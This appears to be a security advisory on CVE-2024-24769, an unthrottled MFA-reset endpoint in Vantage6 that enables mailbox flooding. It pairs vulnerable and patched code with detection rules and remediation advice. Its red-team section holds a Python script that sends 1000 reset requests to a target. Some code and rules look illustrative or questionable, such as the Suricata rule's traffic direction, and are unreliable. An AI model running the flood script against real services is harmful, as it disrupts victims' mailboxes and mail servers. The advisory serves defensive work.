CVE-2024-24769

Executive Summary

CVE-2024-24769 affects the open-source privacy-preserving analytics infrastructure, Vantage6. The vulnerability allows an authenticated attacker (requiring a valid password) to trigger an unlimited number of MFA token reset emails to a target user's mailbox. This can lead to mailbox flooding and potential abuse of the SMTP server, causing it to be flagged as a spam source. The CVSS score is low due to the prerequisite of a valid password, but the impact on availability and reputation is notable.

Supply Chain & Package Security

Vantage6 is a Python-based project distributed via PyPI. The vulnerability exists in the API server component. Users should ensure they are using the latest patched version (5.0.0) from PyPI to mitigate this issue. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (valid password required)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: Low (mailbox flooding, SMTP server reputation)

Threat Level: Low. The requirement for a valid password significantly reduces the attack surface. However, once authenticated, the attacker can cause disruption.

Deep Dive & Mechanics

The vulnerability resides in the API routes responsible for resetting Multi-Factor Authentication (MFA) tokens. When a user requests an MFA token reset, the system sends an email to the user's registered email address. The flaw is that there is no rate limiting or throttling mechanism on these API endpoints. An authenticated attacker can repeatedly call the reset endpoint, causing the server to send a large volume of emails to the victim's mailbox.

Technical Flow:

1. Attacker authenticates with valid credentials.
2. Attacker sends repeated POST requests to the MFA token reset endpoint (e.g., /api/mfa/reset).
3. The server processes each request and sends an email via the configured SMTP server.
4. The victim's mailbox is flooded with reset emails.
5. The SMTP server may be blacklisted due to high volume of outgoing emails.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.0.0):

# No rate limiting on MFA reset endpoint
@app.route('/api/mfa/reset', methods=['POST'])
@jwt_required()
def mfa_reset():
    user = get_jwt_identity()
    # Send email without any rate check
    send_mfa_reset_email(user.email)
    return jsonify({"message": "Reset email sent"}), 200

Patched Code (5.0.0):

# Rate limiting implemented
from flask_limiter import Limiter
limiter = Limiter(key_func=lambda: get_jwt_identity())

@app.route('/api/mfa/reset', methods=['POST'])
@jwt_required()
@limiter.limit("1 per hour")  # Only one reset per hour per user
def mfa_reset():
    user = get_jwt_identity()
    send_mfa_reset_email(user.email)
    return jsonify({"message": "Reset email sent"}), 200

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user credentials for a Vantage6 instance.
• Network access to the Vantage6 API.

Exploitation Steps:

1. Authenticate to the Vantage6 API and obtain a JWT token.
2. Identify the MFA reset endpoint (e.g., /api/mfa/reset).
3. Use a script to send multiple requests to the endpoint.

Example Script (Python):

import requests

base_url = "https://target-vantage6-instance.com"
jwt_token = "your_jwt_token_here"

headers = {
    "Authorization": f"Bearer {jwt_token}",
    "Content-Type": "application/json"
}

# Flood the MFA reset endpoint
for i in range(1000):
    response = requests.post(f"{base_url}/api/mfa/reset", headers=headers)
    print(f"Request {i+1}: {response.status_code}")

Blue Team

Detection:

• Monitor for a high volume of requests to MFA reset endpoints from a single user.
• Alert on SMTP server logs showing a spike in outgoing emails to a single recipient.

Mitigation:

• Implement rate limiting on all email-triggering endpoints.
• Monitor and throttle SMTP outbound traffic.
• Use CAPTCHA or additional verification for sensitive actions.

Indicators of Compromise (IOCs)

• Network: High frequency of POST requests to /api/mfa/reset or similar endpoints.
• Email: Multiple identical MFA reset emails sent to a single recipient in a short time.
• Logs: SMTP server logs showing repeated delivery attempts to the same address.
• System: Elevated CPU/memory usage on the Vantage6 server due to email generation.

Detection Engineering

YARA Rule

rule CVE_2024_24769_MFA_Flood {
    meta:
        description = "Detects potential MFA reset email flooding in Vantage6 logs"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-24769"
    strings:
        $s1 = "mfa_reset" nocase
        $s2 = "Reset email sent" nocase
        $s3 = "POST /api/mfa/reset" nocase
    condition:
        any of ($s*) and #s1 > 10
}

Sigma Rule

title: Vantage6 MFA Reset Flooding
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple MFA reset requests from a single user in a short time
author: Valters IT
date: 2024-10-27
logsource:
    category: application
    product: vantage6
detection:
    selection:
        endpoint: "/api/mfa/reset"
        method: "POST"
    timeframe: 5m
    condition: selection | count() by user > 10
falsepositives:
    - Legitimate user retrying due to email delivery issues
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-24769 - Vantage6 MFA Reset Flooding";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/api/mfa/reset";
    http_uri;
    threshold: type both, track by_src, count 10, seconds 300;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

• Upgrade Vantage6 to version 5.0.0 or later.
• If upgrade is not possible, implement a reverse proxy (e.g., Nginx) with rate limiting on the MFA reset endpoint.

Long-term:

• Apply the principle of least privilege to API endpoints.
• Implement CAPTCHA or email verification for sensitive actions.
• Monitor SMTP server reputation and set up alerts for unusual email volume.

Workaround:

• No official workaround exists, but rate limiting at the network level can mitigate the issue.

Valters IT